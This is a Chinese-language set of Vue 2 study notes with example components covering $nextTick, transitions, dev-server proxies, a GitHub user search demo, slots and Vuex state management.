1、语法：this.$nextTick(回调函数)
2、作用：在下一次 DOM 更新结束后执行其指定的回调。
3、什么时候用：当改变数据后，要基于更新后的新DOM进行某些操作时，要在==$nextTick所指定的回调函数==中执行。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Sjkg4GaO-1678282228363)(assets/image-20220129182554675.png)]

案例代码

MyItem.vue

<template>
	<li>
		<label>
			<input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>
			<!-- 如下代码也能实现功能，但是不太推荐，因为有点违反原则，因为修改了props -->
			<!-- <input type="checkbox" v-model="todo.done"/> -->
			<span v-show="!todo.isEdit">{{todo.title}}</span>
			<input 
				type="text" 
				v-show="todo.isEdit" 
				:value="todo.title" 
				@blur="handleBlur(todo,$event)"
				ref="inputTitle"
			>
		</label>
		<button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
		<button v-show="!todo.isEdit" class="btn btn-edit" @click="handleEdit(todo)">编辑</button>
	</li>
</template>

<script>
	import pubsub from 'pubsub-js'
	export default {
		name:'MyItem',
		//声明接收todo
		props:['todo'],
		methods: {
			//勾选or取消勾选
			handleCheck(id){
				//通知App组件将对应的todo对象的done值取反
				// this.checkTodo(id)
				this.$bus.$emit('checkTodo',id)
			},
			//删除
			handleDelete(id){
				if(confirm('确定删除吗？')){
					//通知App组件将对应的todo对象删除
					// this.deleteTodo(id)
					// this.$bus.$emit('deleteTodo',id)
					pubsub.publish('deleteTodo',id)
				}
			},
			//编辑
			handleEdit(todo){
				if(todo.hasOwnProperty('isEdit')){ // 判断是否有todo对象上isEdit属性
					// 这里修改值后,页面还没有渲染,因此input框还没到页面,所以在下面是操作不到input框的
					todo.isEdit = true 
				}else{
					// console.log('@')
					this.$set(todo,'isEdit',true) // 添加一个属性,并为之添加响应式的api
				}
				// vue会等到这里的方法块都执行完,才会重新解析模板,所以下面给input框获取焦点,必须要包在$nextTick中
				// 等到dom重新渲染结束后,再执行获取焦点的操作
				// (这样也是为了一个效率的问题,方法里面有可能多次修改数据,那不可能每次修改都重新解析一遍吧)
				this.$nextTick(function(){
					this.$refs.inputTitle.focus()
				})
			},
			//失去焦点回调（真正执行修改逻辑）
			handleBlur(todo,e){
				todo.isEdit = false
				if(!e.target.value.trim()) return alert('输入不能为空！')
				this.$bus.$emit('updateTodo',todo.id,e.target.value)
			}
		},
	}
</script>

<style scoped>
	/*item*/
	li {
		list-style: none;
		height: 36px;
		line-height: 36px;
		padding: 0 5px;
		border-bottom: 1px solid #ddd;
	}

	li label {
		float: left;
		cursor: pointer;
	}

	li label li input {
		vertical-align: middle;
		margin-right: 6px;
		position: relative;
		top: -1px;
	}

	li button {
		float: right;
		display: none;
		margin-top: 3px;
	}

	li:before {
		content: initial;
	}

	li:last-child {
		border-bottom: none;
	}

	li:hover{
		background-color: #ddd;
	}
	
	li:hover button{
		display: block;
	}
</style>

14. 过渡与动画

1、作用：在插入、更新或移除 DOM元素时，在合适的时候给元素添加样式类名。

2、图示：[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-90CiqaFU-1678282228363)(assets/image-20220129210055426.png)]

3、写法：

  1. 准备好样式：

  • 元素进入的样式：

    v-enter：进入的起点

    v-enter-active：进入过程中

    v-enter-to：进入的终点

  • 元素离开的样式：

    v-leave：离开的起点

    v-leave-active：离开过程中

    v-leave-to：离开的终点

  1. 使用<transition>包裹要过度的元素（谁要做动画给谁加），并配置name属性：

    <transition name="hello">
    <h1 v-show="isShow">你好啊！</h1>
</transition>

  2. 备注：若有多个元素需要过度，则需要使用：<transition-group>，且每个元素都要指定key值。

案例代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gpjAbS8P-1678282228364)(assets/image-20220129204325441.png)]

Test.vue

(拿动画写)
<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>


		<!-- 可以指定一个name,如果有指定,则会找{name}-enter-active/{name}-leave-active类名 
			 如果没有指定name,则默认找v-enter-active/v-leave-active类名
		-->
		<!-- 也可以写成 :appear="true"表示一开始就使用动画 -->
		<transition name="hello" appear> 
			<h1 v-show="isShow">你好啊！</h1>
		</transition>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}

	.hello-enter-active{
		animation: atguigu 0.5s linear;
	}

	.hello-leave-active{
		animation: atguigu 0.5s linear reverse;
	}

	@keyframes atguigu {
		from{
			transform: translateX(-100%);
		}
		to{
			transform: translateX(0px);
		}
	}
</style>

Test2.vue

(拿过渡写)
<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition-group name="hello" appear>
			<h1 v-show="!isShow" key="1">你好啊！</h1>
			<h1 v-show="isShow" key="2">尚硅谷！</h1>
		</transition-group>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}
    
	/* 进入的起点、离开的终点 */
	.hello-enter,.hello-leave-to{
		transform: translateX(-100%);
	}
    
	.hello-enter-active,.hello-leave-active{
		transition: 0.5s linear;
	}
    
	/* 进入的终点、离开的起点 */
	.hello-enter-to,.hello-leave{
		transform: translateX(0);
	}

</style>

Test3.vue

(第三方动画)

第一步：安装

npm install animate.css --save // 官网https://www.npmjs.com/package/animate.css、https://animate.style/

第二步：引入

import 'animate.css';  // 直接在vue文件中引入即可

示例

<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition-group 
			appear
			name="animate__animated animate__bounce" 
			enter-active-class="animate__swing"
			leave-active-class="animate__backOutUp"
		>
			<h1 v-show="!isShow" key="1">你好啊！</h1>
			<h1 v-show="isShow" key="2">尚硅谷！</h1>
		</transition-group>
	</div>
</template>

<script>
	import 'animate.css' // 引入css不需要from啥的
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}
</style>

15. 配置代理服务器

方法一

在vue.config.js中添加如下配置：

devServer:{
	proxy:"http://localhost:5000"
}

说明：

1、优点：配置简单，请求资源时直接发给前端（8080）即可。

2、缺点：不能配置多个代理，不能灵活的控制请求是否走代理。

3、工作方式：若按照上述配置代理，当请求了前端不存在的资源时，那么该请求才会由代理服务器转发给服务器

（注意：这种配置方式，它会优先匹配前端资源，前端资源默认以public文件夹作为资源的根路径）

方法二

编写vue.config.js配置具体代理规则：

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api1': ''} // 将请求路径前面的/api1替换为空,然后再把请求发给5000服务器
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时，服务器收到的请求头中的host为：localhost:5000
   changeOrigin设置为false时，服务器收到的请求头中的host为：localhost:8080
   changeOrigin默认值为true
*/

说明：

1、优点：可以配置多个代理，且可以灵活的控制请求是否走代理。

2、缺点：配置略微繁琐，请求资源时必须加前缀。

案例代码

安装axios：npm install axios

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	beforeCreate() {
		Vue.prototype.$bus = this
	},
})

App.vue

<template>
	<div>
		<button @click="getStudents">获取学生信息</button>
		<button @click="getCars">获取汽车信息</button>
	</div>
</template>

<script>
	import axios from 'axios'
	export default {
		name:'App',
		methods: {
			getStudents(){
				axios.get('http://localhost:8080/students').then(
					response => {
						console.log('请求成功了',response.data)
					},
					error => {
						console.log('请求失败了',error.message)
					}
				)
			},
			getCars(){
				axios.get('http://localhost:8080/demo/cars').then(
					response => {
						console.log('请求成功了',response.data)
					},
					error => {
						console.log('请求失败了',error.message)
					}
				)
			}
		},
	}
</script>

vue.config.js

module.exports = {
  pages: {
    index: {
      //入口
      entry: 'src/main.js',
    },
  },
	lintOnSave:false, //关闭语法检查
	//开启代理服务器（方式一）
	/* devServer: {
        proxy: 'http://localhost:5000'
       }, */
	//开启代理服务器（方式二）
	devServer: {
    proxy: {
      '/atguigu': {
        target: 'http://localhost:5000',
				pathRewrite:{'^/atguigu':''},
        // ws: true, //用于支持websocket
        // changeOrigin: true //用于控制请求头中的host值
      },
      '/demo': {
        target: 'http://localhost:5001',
				pathRewrite:{'^/demo':''},
        // ws: true, //用于支持websocket
        // changeOrigin: true //用于控制请求头中的host值
      }
    }
  }
}

16. github搜索案例

案例代码

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	beforeCreate() {
		Vue.prototype.$bus = this
	},
})

App.vue

<template>
	<div class="container">
		<Search/>
		<List/>
	</div>
</template>

<script>
	import Search from './components/Search'
	import List from './components/List'
	export default {
		name:'App',
		components:{Search,List}
	}
</script>

Search.vue

<template>
	<section class="jumbotron">
		<h3 class="jumbotron-heading">Search Github Users</h3>
		<div>
			<input type="text" placeholder="enter the name you search" v-model="keyWord"/>&nbsp;
			<button @click="searchUsers">Search</button>
		</div>
	</section>
</template>

<script>
import axios from 'axios'
export default {
	name:'Search',
	data() {
		return {
			keyWord:''
		}
	},
	methods: {
		searchUsers(){
			//请求前更新List的数据
			this.$bus.$emit('updateListData',{isLoading:true,errMsg:'',users:[],isFirst:false})
			axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
				response => {
					console.log('请求成功了')
					//请求成功后更新List的数据
					this.$bus.$emit('updateListData',
                                    {isLoading:false,errMsg:'',users:response.data.items})
				},
				error => {
					//请求后更新List的数据
					this.$bus.$emit('updateListData',{isLoading:false,errMsg:error.message,users:[]})
				}
			)
		}
	},
}
</script>

List.vue

<template>
	<div class="row">
		<!-- 展示用户列表 -->
		<div v-show="info.users.length" class="card" v-for="user in info.users" :key="user.login">
			<a :href="user.html_url" target="_blank">
				<img :src="user.avatar_url" style='width: 100px'/>
			</a>
			<p class="card-text">{{user.login}}</p>
		</div>
		<!-- 展示欢迎词 -->
		<h1 v-show="info.isFirst">欢迎使用！</h1>
		<!-- 展示加载中 -->
		<h1 v-show="info.isLoading">加载中....</h1>
		<!-- 展示错误信息 -->
		<h1 v-show="info.errMsg">{{info.errMsg}}</h1>
	</div>
</template>

<script>
	export default {
		name:'List',
		data() {
			return {
				info:{
					isFirst:true,
					isLoading:false,
					errMsg:'',
					users:[]
				}
			}
		},
		mounted() {
			this.$bus.$on('updateListData',(dataObj)=>{
				// this.info = dataObj // 这里为什么可以响应式? 
				// 当info被修改时,肯定是可以被检测到的,因为这样赋值会触发对应的响应式setter方法
				this.info = {...this.info,...dataObj} /* 属性重名的,后面展开的对象会覆盖前面的属性值 */
			})
		},
	}
</script>

<style scoped>
	.album {
		min-height: 50rem; /* Can be removed; just added for demo purposes */
		padding-top: 3rem;
		padding-bottom: 3rem;
		background-color: #f7f7f7;
	}

	.card {
		float: left;
		width: 33.333%;
		padding: .75rem;
		margin-bottom: 2rem;
		border: 1px solid #efefef;
		text-align: center;
	}

	.card > img {
		margin-bottom: .75rem;
		border-radius: 100px;
	}

	.card-text {
		font-size: 85%;
	}
</style>

17. vue-resource

安装包：npm install vue-resource

使用：

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import vueResource from 'vue-resource'
//关闭Vue的生产提示
Vue.config.productionTip = false
//使用插件
Vue.use(vueResource)

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	beforeCreate() {
		Vue.prototype.$bus = this
	},
})

Search.vue

<template>
	<section class="jumbotron">
		<h3 class="jumbotron-heading">Search Github Users</h3>
		<div>
			<input type="text" placeholder="enter the name you search" v-model="keyWord"/>&nbsp;
			<button @click="searchUsers">Search</button>
		</div>
	</section>
</template>

<script>
export default {
	name:'Search',
	data() {
		return {
			keyWord:''
		}
	},
	methods: {
		searchUsers(){
			//请求前更新List的数据
			this.$bus.$emit('updateListData',{isLoading:true,errMsg:'',users:[],isFirst:false})
			this.$http.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
				response => {
					console.log('请求成功了')
					//请求成功后更新List的数据
					this.$bus.$emit('updateListData',
									{isLoading:false,errMsg:'',users:response.data.items})
				},
				error => {
					//请求后更新List的数据
					this.$bus.$emit('updateListData',{isLoading:false,errMsg:error.message,users:[]})
				}
			)
		}
	},
}
</script>

18. 插槽

1、作用：让父组件可以向子组件指定位置插入html结构，也是一种组件间通信的方式，适用于 父组件 ===> 子组件 。

2、分类：默认插槽、具名插槽、作用域插槽

3、使用方式：

默认插槽

父组件中：
        <Category>
            <div>html结构1</div>
        </Category>

子组件中：
        <template>
            <div>
                <!-- 定义插槽 -->
                <slot>插槽默认内容...</slot>
            </div>
        </template>

具名插槽

父组件中：
        <Category>
            <template slot="center">
                <div>html结构1</div>
            </template>

            <template v-slot:footer>
                <div>html结构2</div>
            </template>
        </Category>

子组件中：
        <template>
            <div>
                <!-- 定义插槽 -->
                <slot name="center">插槽默认内容...</slot>
                <slot name="footer">插槽默认内容...</slot>
            </div>
        </template>

作用域插槽

1、理解：数据在组件的自身，但根据数据生成的结构需要组件的使用者来决定。（games数据在Category组件中，但使用数据所遍历出来的结构由App组件决定）

2、具体编码：

父组件中：
        <Category>
            <template scope="scopeData">
                <!-- 生成的是ul列表 -->
                <ul>
                    <li v-for="g in scopeData.games" :key="g">{{g}}</li>
                </ul>
            </template>
        </Category>

        <Category>
            <template slot-scope="scopeData">
                <!-- 生成的是h4标题 -->
                <h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
            </template>
        </Category>

子组件中：
        <template>
            <div>
                <slot :games="games"></slot>
            </div>
        </template>

        <script>
            export default {
                name:'Category',
                props:['title'],
                //数据在子组件自身
                data() {
                    return {
                        games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                    }
                },
            }
        </script>

1. 默认插槽

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BRezQPV0-1678282228364)(assets/image-20220130111436080.png)]

App.vue

<template>
	<div class="container">
		<Category title="美食" > 
			<img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
		</Category>

        <!-- 它会把组件标签中的标签体全部内容当作一个整体，塞到Category组件中的<slot></slot>标签中,
            并且，如果Category组件中有多个<slot></slot>,那么每个<slot></slot>标签中都会塞一个这样的整体
        -->
		<Category title="游戏" >
			<!-- 组件中的标签体内容是解析完成后,才传到Category组件的插槽中-->
			<ul>
				<li v-for="(g,index) in games" :key="index">{{g}}</li>
			</ul>
		</Category>

		<Category title="电影">
			<video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
		</Category>
	</div>
</template>

<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category},
		data() {
			return {
				foods:['火锅','烧烤','小龙虾','牛排'],
				games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
				films:['《教父》','《拆弹专家》','《你好，李焕英》','《尚硅谷》']
			}
		},
	}
</script>

<style scoped>
	.container{
		display: flex;
		justify-content: space-around;
	}
</style>

Category.vue

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<!-- 定义一个插槽（挖个坑，等着组件的使用者进行填充） -->
		<slot>我是一些默认值，当使用者没有传递具体结构时，我会出现</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title']
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

2. 具名插槽

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lwJcIiiQ-1678282228365)(assets/image-20220130111452076.png)]

App.vue

<template>
	<div class="container">
        
		<Category title="美食" >
            
            <!-- 指定当前标签体插到Category中指定名称的slot插槽中，
                 1. 多个标签体可以指定同一个插槽名,插入到同一个插槽中
                 2. 没有指定插槽名的标签体，将都会插入到Category组件中的不具名的slot插槽中
				 3. 如果标签体指定的插槽名，在Category中不存在，则不会插入
            -->
            
			<img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
			<a slot="footer" href="http://www.atguigu.com">更多美食</a>
		</Category>

		<Category title="游戏" >
			<ul slot="center">
				<li v-for="(g,index) in games" :key="index">{{g}}</li>
			</ul>
			<div class="foot" slot="footer">
				<a href="http://www.atguigu.com">单机游戏</a>
				<a href="http://www.atguigu.com">网络游戏</a>
			</div>
		</Category>

		<Category title="电影">
            
			<video slot="center" controls src="http://clips.vorwaerts-gmbh.de.mp4"></video>
            
            <!-- 如果使用template标签,则可以使用新的语法: v-slot:插槽名 ,template标签不会被渲染-->
			<template v-slot:footer>
				<div class="foot">
					<a href="http://www.atguigu.com">经典</a>
					<a href="http://www.atguigu.com">热门</a>
					<a href="http://www.atguigu.com">推荐</a>
				</div>
				<h4>欢迎前来观影</h4>
			</template>
		</Category>
	</div>
</template>

<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category},
		data() {
			return {
				foods:['火锅','烧烤','小龙虾','牛排'],
				games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
				films:['《教父》','《拆弹专家》','《你好，李焕英》','《尚硅谷》']
			}
		},
	}
</script>

<style scoped>
	.container,.foot{
		display: flex;
		justify-content: space-around;
	}
	h4{
		text-align: center;
	}
</style>

Category.vue

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<!-- 定义一个插槽（挖个坑，等着组件的使用者进行填充） -->
		<slot name="center">我是一些默认值，当使用者没有传递具体结构时，我会出现1</slot>
		<slot name="footer">我是一些默认值，当使用者没有传递具体结构时，我会出现2</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title']
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

3. 作用域插槽

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7ag7CTrn-1678282228365)(assets/image-20220130111506043.png)]

App.vue

<template>
	<div class="container">

		<Category title="游戏">
            <!-- 这里使用作用域插槽必须要使用template包裹起来 -->
            <!-- 这里的特点就是: 使用者定义结构,数据由插槽提供 -->
            <!-- 就相当于原本在Category组件中的数据的作用域扩展到使用者中也可以使用了 -->
			<template scope="atguigu">
            	{{name}} <!-- 这个name可以是App.vue组件中的数据 -->
				<ul>
                    <!-- 注意这个数据: games不在当前App.vue组件中 -->
					<li v-for="(g,index) in atguigu.games" :key="index">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category title="游戏">
			<template scope="{games}">
				{{name}}
				<ol>
					<li style="color:red" v-for="(g,index) in games" :key="index">{{g}}</li>
				</ol>
			</template>
		</Category>

		<Category title="游戏">
            <!-- 注意还可以写成slot-scope这种写法哦，这是一种新的Api -->
			<template slot-scope="{games}">
				{{name}}
				<h4 v-for="(g,index) in games" :key="index">{{g}}</h4>
			</template>
		</Category>

	</div>
</template>

<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category},
        data:{
            return {name:'zzhua'}
        }
	}
</script>

<style scoped>
	.container,.foot{
		display: flex;
		justify-content: space-around;
	}
	h4{
		text-align: center;
	}
</style>

Category.vue

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
        <!-- 注意：作用域插槽中，也可以写name,如果这里写了name,那么template里也要写name，规则同具名插槽 -->
		<slot :games="games" msg="hello">我是默认的一些内容</slot>
        
        <!-- 这里再写一个名叫test1的具名插槽 -->
        <slot name="test1"></slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title'],
		data() {
			return {
                // 注意：数据在这里，而并不在App.vue组件中
				games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
			}
		},
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

19. Vuex

1. vuex 是什么

1、概念：专门在 Vue 中实现集中式状态（数据）管理的一个 Vue 插件，对 vue 应用中多个组件的共享状态进行集中式的管理（读/写），也是一种组件间通信的方式，且适用于任意组件间通信。

2、Github 地址: https://github.com/vuejs/vuex

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bZiAqrLn-1678282228366)(assets/image-20220130174727095.png)]

1. 什么时候使用 Vuex

1、多个组件依赖于同一状态

2、来自不同组件的行为需要变更同一状态

就是多个组件需要共享同一份数据

2. Vuex 工作原理图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Rhw6MVFC-1678282228366)(assets/image-20220130184208992.png)]

2. 搭建vuex环境

1、安装vuex：npm install vuex

2、创建文件：src/store/index.js

//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)  // 因为必须在创建store实例之前应用Vuex插件,否则会报错

//准备actions对象——响应组件中用户的动作
const actions = {}
//准备mutations对象——修改state中的数据
const mutations = {}
//准备state对象——保存具体的数据
const state = {}

//准备getters——用于将state中的数据进行加工(这个不是必须的)
const getters = {}

//创建并暴露store
export default new Vuex.Store({
    actions,
    mutations,
    state,
    getters // (这个不是必须的)
})

3、在main.js中创建vm时传入store配置项

......
//引入store
import store from './store'
......

//创建vm
new Vue({
    el:'#app',
    render: h => h(App),
    store
})

3. 基本使用

1、初始化数据、配置actions、配置mutations，操作文件store.js

// src/store/index.js文件

//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//引用Vuex
Vue.use(Vuex)

const actions = {
    //响应组件中加的动作(派发action返回的就是一个Promise对象,不管这个action是不是被async修饰)
    jia(context,value){ // context中包含: commit、dispatch、getters、rootGetters、rootState、state
                        // 这些都可以使用(并且其中包含的dispatch也可以用来派发其它的action)
        // console.log('actions中的jia被调用了',miniStore,value)
        context.commit('JIA',value)
    },
}

const mutations = {
    //执行加
    JIA(state,value){
        // console.log('mutations中的JIA被调用了',state,value)
        state.sum += value
    }
}

//初始化数据 （vuex存储的数据不是持久化的，一旦刷新页面，数据就没了）
const state = {
	sum:0
}

//准备getters——用于将state中的数据进行加工
const getters = {
	bigSum(state){
		return state.sum*10 // 依靠返回值
	}
}

//创建并暴露store
export default new Vuex.Store({
    actions,
    mutations,
    state,
    getters
})

2、组件中读取vuex中的数据：$store.state.sum

3、组件中修改vuex中的数据：$store.dispatch('action中的方法名',数据)或 $store.commit('mutations中的方法名',数据)

4、组件中读取getters中的数据：$store.getters.bigSum

备注：若没有网络请求或其他业务逻辑，组件中也可以越过actions，即不写dispatch，直接编写commit

4. 求和案例_vuex版

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zCSqfOtN-1678282228367)(assets/image-20220131000059103.png)]

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import vueResource from 'vue-resource'
//引入store 
import store from './store' /* 如果需要引入的是文件夹中的index.js,可以省略不写index.js */

/* 所有的import不管写在哪里,都会按照书写放到最上方先执行 */

//关闭Vue的生产提示
Vue.config.productionTip = false
//使用插件
Vue.use(vueResource)

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	store, /* 当安装Vuex插件后，才可以配置store，并且vm和vc身上都会有$store属性了 */
	beforeCreate() {
		Vue.prototype.$bus = this
	}
})

store/index.js

// src/store/index.js文件

//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions——用于响应组件中的动作
// 如果有业务逻辑，都写在actions中
const actions = {
	/* jia(context,value){ // contxt中包含了commit、dispatch、getters、state等属性
		                   // 所以下面能从context中找到commit
		console.log('actions中的jia被调用了')
		context.commit('JIA',value) // 这里的这个commit就是store身上的commit(未分模块之前是完全相等的)
	},
	jian(context,value){
		console.log('actions中的jian被调用了')
		context.commit('JIAN',value)
	}, */
	jiaOdd(context,value){
		console.log('actions中的jiaOdd被调用了')
		if(context.state.sum % 2){
			context.commit('JIA',value)
		}
	},
	jiaWait(context,value){
		console.log('actions中的jiaWait被调用了')
		setTimeout(()=>{
			context.commit('JIA',value)
		},500)
	}
}
//准备mutations——用于操作数据（state）
// mutations只负责修改state，其它业务逻辑在actions中处理
const mutations = {
	JIA(state,value){ // state中的sum有匹配了响应式的setter和getter
		console.log('mutations中的JIA被调用了')
		state.sum += value
	},
	JIAN(state,value){
		console.log('mutations中的JIAN被调用了')
		state.sum -= value
	}
}
//准备state——用于存储数据
const state = {
	sum:0 //当前的和
}

//准备getters——用于将state中的数据进行加工
const getters = {
	bigSum(state){
		return state.sum*10 // 依靠返回值
	}
}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
	getters
})

App.vue

<template>
	<div>
		<Count/>
	</div>
</template>

<script>
	import Count from './components/Count'
	export default {
		name:'App',
		components:{Count},
		mounted() {
			// console.log('App',this)
		},
	}
</script>

Count.vue

// src/components/count.vue
<template>
	<div>
		<h1>当前求和为：{{$store.state.sum}}</h1>
        <h3>当前求和放大10倍为：{{$store.getters.bigSum}}</h3>
		<!-- 将收集到的n转为number类型, 
		     也可以在下面option的value前加v-bind,这样也会是数字 -->
		<select v-model.number="n"> 
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment">+</button>
		<button @click="decrement">-</button>
		<button @click="incrementOdd">当前求和为奇数再加</button>
		<button @click="incrementWait">等一等再加</button>
	</div>
</template>

<script>
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
			}
		},
		methods: {
			increment(){
				this.$store.commit('JIA',this.n) /* 必须保证mutations中有JIA */
			},
			decrement(){
				this.$store.commit('JIAN',this.n)  /* 必须保证mutations中有JIAN */
			},
			incrementOdd(){
				this.$store.dispatch('jiaOdd',this.n) /* 必须保证actions中有jiaOdd */
			},
			incrementWait(){
				this.$store.dispatch('jiaWait',this.n)/* 必须保证actions中有jiaWait */
			},
		},
		mounted() {
			console.log('Count',this)
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>

5. mapState与mapGetters&mapMutations与mapActions[简写]

1、mapState方法：用于帮助我们映射state中的数据为计算属性

computed: {
    //借助mapState生成计算属性：sum、school、subject（对象写法）
    ...mapState({sum:'sum',school:'school',subject:'subject'}),
        
    //借助mapState生成计算属性：sum、school、subject（函数写法）
    ...mapState({sum:state=>state.sum})
        
    //借助mapState生成计算属性：sum、school、subject（数组写法）
    ...mapState(['sum','school','subject']),
},

2、mapGetters方法：用于帮助我们映射getters中的数据为计算属性

computed: {
    //借助mapGetters生成计算属性：bigSum（对象写法）
    ...mapGetters({bigSum:'bigSum'}),

    //借助mapGetters生成计算属性：bigSum（数组写法）
    ...mapGetters(['bigSum'])
},

3、mapActions方法：用于帮助我们生成与actions对话的方法，即：包含$store.dispatch(xxx)的函数

methods:{
    //靠mapActions生成：incrementOdd、incrementWait（对象形式）
    ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

    //靠mapActions生成：incrementOdd、incrementWait（数组形式）
    ...mapActions(['jiaOdd','jiaWait'])
}

4、mapMutations方法：用于帮助我们生成与mutations对话的方法，即：包含$store.commit(xxx)的函数

methods:{
    //靠mapActions生成：increment、decrement（对象形式）
    ...mapMutations({increment:'JIA',decrement:'JIAN'}),

    //靠mapMutations生成：JIA、JIAN（对象形式）
    ...mapMutations(['JIA','JIAN']),
}

备注：mapActions与mapMutations使用时，若需要传递参数需要：在模板中绑定事件时传递好参数，否则参数是事件对象。

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import vueResource from 'vue-resource'
//引入store
import store from './store'

//关闭Vue的生产提示
Vue.config.productionTip = false
//使用插件
Vue.use(vueResource)

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	store,
	beforeCreate() {
		Vue.prototype.$bus = this
	}
})

store/index.js

//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions——用于响应组件中的动作
const actions = {
	/* jia(context,value){
		console.log('actions中的jia被调用了')
		context.commit('JIA',value)
	},
	jian(context,value){
		console.log('actions中的jian被调用了')
		context.commit('JIAN',value)
	}, */
	jiaOdd(context,value){
		console.log('actions中的jiaOdd被调用了')
		if(context.state.sum % 2){
			context.commit('JIA',value)
		}
	},
	jiaWait(context,value){
		console.log('actions中的jiaWait被调用了')
		setTimeout(()=>{
			context.commit('JIA',value)
		},500)
	}
}
//准备mutations——用于操作数据（state）
const mutations = {
	JIA(state,value){
		console.log('mutations中的JIA被调用了')
		state.sum += value
	},
	JIAN(state,value){
		console.log('mutations中的JIAN被调用了')
		state.sum -= value
	}
}
//准备state——用于存储数据
const state = {
	sum:0, //当前的和
	school:'尚硅谷',
	subject:'前端'
}
//准备getters——用于将state中的数据进行加工
const getters = {
	bigSum(state){
		return state.sum*10
	}
}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
	getters
})

App.vue

<template>
	<div>
		<Count/>
	</div>
</template>

<script>
	import Count from './components/Count'
	export default {
		name:'App',
		components:{Count},
		mounted() {
			// console.log('App',this)
		},
	}
</script>

Count.vue

<template>
	<div>
		<h1>当前求和为：{{sum}}</h1>
		<h3>当前求和放大10倍为：{{bigSum}}</h3>
